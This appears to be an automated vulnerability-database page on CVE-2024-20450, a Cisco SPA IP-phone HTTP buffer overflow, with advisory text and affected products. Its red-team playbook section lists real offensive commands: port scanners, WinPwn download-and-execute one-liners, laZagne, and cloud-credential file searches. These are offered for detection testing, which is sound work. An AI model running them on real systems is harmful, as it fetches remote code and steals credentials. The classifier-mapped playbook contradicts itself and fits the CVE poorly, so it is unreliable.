CVE-2024-20450
Overview
This vulnerability is a buffer overflow occurring in the HTTP packet processing of the web-based management interface on Cisco Small Business SPA300 and SPA500 Series IP Phones. The root cause is improper validation of incoming HTTP requests, allowing crafted packets to overwrite internal memory buffers. The affected component is the HTTP server handling management traffic on these IP phone firmware versions.
Vulnerability Description
Multiple vulnerabilities in the web-based management interface of Cisco Small Business SPA300 Series IP Phones and Cisco Small Business SPA500 Series IP Phones could allow an unauthenticated, remote attacker to execute arbitrary commands on the underlying operating system with root privileges. These vulnerabilities exist because incoming HTTP packets are not properly checked for errors, which could result in a buffer overflow. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to overflow an internal buffer and execute arbitrary commands at the root privilege level.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands with root-level privileges on affected Cisco Small Business IP Phones. This allows full control over the device, enabling actions such as device compromise, configuration manipulation, or network pivoting. No authentication or user interaction is required, and the vulnerability is exploitable remotely via network access to the device’s HTTP management interface, as reflected by the CVSS vector AV:N/AC:L/PR:N/UI:N.
Solution
Cisco has released security updates addressing these vulnerabilities in the affected SPA300 and SPA500 Series IP Phone firmware versions. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-spa-http-vulns-RJZmX2Xz available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-spa-http-vulns-RJZmX2Xz. The advisory provides specific firmware versions containing fixes and recommended upgrade procedures to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerabilities present in the web-based management interface of Cisco's Small Business SPA300 and SPA500 Series IP Phones stem from inadequate error checking of incoming HTTP packets. This oversight can lead to a buffer overflow condition, allowing an attacker to manipulate the internal memory of the device. When a crafted HTTP request is sent to an affected device, it can exploit this flaw, resulting in the potential execution of arbitrary commands with root privileges. The implications of such a vulnerability are severe, as it compromises the integrity and confidentiality of the device and the network it operates within.
Attack vectors for this vulnerability are particularly concerning due to the unauthenticated nature of the exploit. An attacker could initiate an attack remotely, requiring only the ability to send HTTP requests to the targeted device. This could be accomplished from anywhere on the internet, making it accessible to a wide range of potential adversaries. Exploitation scenarios could involve sending specially crafted packets that overflow the internal buffer, leading to unauthorized command execution. Such capabilities could enable attackers to install malicious software, intercept communications, or manipulate device settings, thereby jeopardizing the entire communication infrastructure of an organization.
The real-world impact of these vulnerabilities is significant, especially for businesses relying on these IP phones for communication. The ability to execute arbitrary commands at the root level could lead to unauthorized access to sensitive information, disruption of services, or even complete control over the affected devices. This could result in financial losses, reputational damage, and legal ramifications due to non-compliance with data protection regulations. Furthermore, the interconnected nature of modern networks means that a successful attack on one device could facilitate lateral movement, allowing attackers to compromise additional systems within the organization.
To detect and mitigate these vulnerabilities, organizations should implement a multi-layered security approach. Regularly updating the firmware of affected devices is crucial, as manufacturers often release patches to address known vulnerabilities. Network segmentation can also help limit the exposure of these devices to untrusted networks, reducing the risk of remote exploitation. Intrusion detection systems (IDS) should be configured to monitor for unusual HTTP traffic patterns that may indicate an attempted exploit. Additionally, employing strong access controls and ensuring that only authorized personnel have access to the management interfaces of these devices can further mitigate risks.
In conclusion, the vulnerabilities in the web-based management interface of Cisco's Small Business SPA300 and SPA500 Series IP Phones represent a critical security concern. The potential for remote exploitation with root privileges poses a significant threat to organizational security and operational integrity. By understanding the technical details, attack vectors, and real-world implications of these vulnerabilities, organizations can take proactive steps to detect, mitigate, and ultimately protect their communication infrastructure from malicious actors.
Affected Products (11)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Cisco | Spa 301 Firmware | All |
cpe:2.3:o:cisco:spa_301_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 303 Firmware | All |
cpe:2.3:o:cisco:spa_303_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 501g Firmware | All |
cpe:2.3:o:cisco:spa_501g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 502g Firmware | All |
cpe:2.3:o:cisco:spa_502g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 504g Firmware | All |
cpe:2.3:o:cisco:spa_504g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 508g Firmware | All |
cpe:2.3:o:cisco:spa_508g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 509g Firmware | All |
cpe:2.3:o:cisco:spa_509g_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Spa 512g Firmware | All |
cpe:2.3:o:cisco:spa_512g_firmware:*:*:*:*:*:*:*:*
|
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|
Cisco | Spa 514g Firmware | All |
cpe:2.3:o:cisco:spa_514g_firmware:*:*:*:*:*:*:*:*
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Cisco | Spa 525g Firmware | All |
cpe:2.3:o:cisco:spa_525g_firmware:*:*:*:*:*:*:*:*
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Cisco | Spa 525g2 Firmware | All |
cpe:2.3:o:cisco:spa_525g2_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-20450 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-spa-http-vulns-RJZmX2Xz |